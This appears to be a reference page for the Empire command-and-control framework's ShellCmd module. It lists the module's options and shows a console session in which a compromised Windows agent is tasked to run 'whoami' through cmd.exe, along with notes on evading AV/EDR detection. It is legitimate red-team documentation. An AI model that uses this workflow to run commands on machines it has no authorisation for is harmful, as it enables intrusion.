ShellCmd - Empire Module


This page contains detailed information about how to use the csharp/DotNetCore/ShellCmd Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

Name: ShellCmd
Module: csharp/DotNetCore/ShellCmd
Source code: empire/server/modules/csharp/DotNetCore.Covenant.yaml#L660
Language: C#
Needs admin: No
OPSEC safe: No
Background: No

The ShellCmd module executes a Shell command using "cmd.exe /c".

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the ShellCmd module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

This is a list of options that are required by the ShellCmd module:

Agent
Agent to run module on.

DotNetVersion
.NET version to compile against.
Default value: NetCore31.
Suggested values: NetCore31.

ShellCommand
The ShellCommand to execute.
Default value: whoami.

ShellCmd Example Usage

Here's an example of how to use the ShellCmd module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule csharp/DotNetCore/ShellCmd

 Author       cobbr_io                                   
 Background   False                                      
 Description  Execute a Shell command using "cmd.exe /c" 
 Language     csharp                                     
 Name         csharp/DotNetCore/ShellCmd                 
 NeedsAdmin   False                                      
 OpsecSafe    False                                      


,Record Options-,-----------,----------,---------------------------------,
| Name          | Value     | Required | Description                     |
|---------------|-----------|----------|---------------------------------|
| Agent         |           | True     | Agent to run module on.         |
|---------------|-----------|----------|---------------------------------|
| DotNetVersion | NetCore31 | True     | .NET version to compile against |
|---------------|-----------|----------|---------------------------------|
| ShellCommand  | whoami    | True     | The ShellCommand to execute.    |
'---------------'-----------'----------'---------------------------------'

(Empire: usemodule/csharp/DotNetCore/ShellCmd) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/csharp/DotNetCore/ShellCmd) > set DotNetVersion Net35
[*] Set DotNetVersion to Net35
(Empire: usemodule/csharp/DotNetCore/ShellCmd) > set ShellCommand whoami
[*] Set ShellCommand to whoami
(Empire: usemodule/csharp/DotNetCore/ShellCmd) > execute
[!] Error: csharpserver plugin not running

Note: This module requires csharpserver plugin to be running on our system. If this plugin is not running, the error message "[!] Error: csharp server plugin not running" is thrown on the console. To fix the error, start the csharpserver plugin and re-run the module:

(Empire: usemodule/csharp/DotNetCore/ShellCmd) > useplugin csharpserver

,Record Options--,----------,----------------------------------,
| Name   | Value | Required | Description                      |
|--------|-------|----------|----------------------------------|
| status | start | True     | Start/stop the Empire C# server. |
'--------'-------'----------'----------------------------------'

(Empire: useplugin/csharpserver) > execute
[*] Starting Empire C# server
(Empire: useplugin/csharpserver) > back
(Empire: usemodule/csharp/DotNetCore/ShellCmd) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Author

  • cobbr_io

References

See Also

Check also the following modules related to this module:

Version

This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.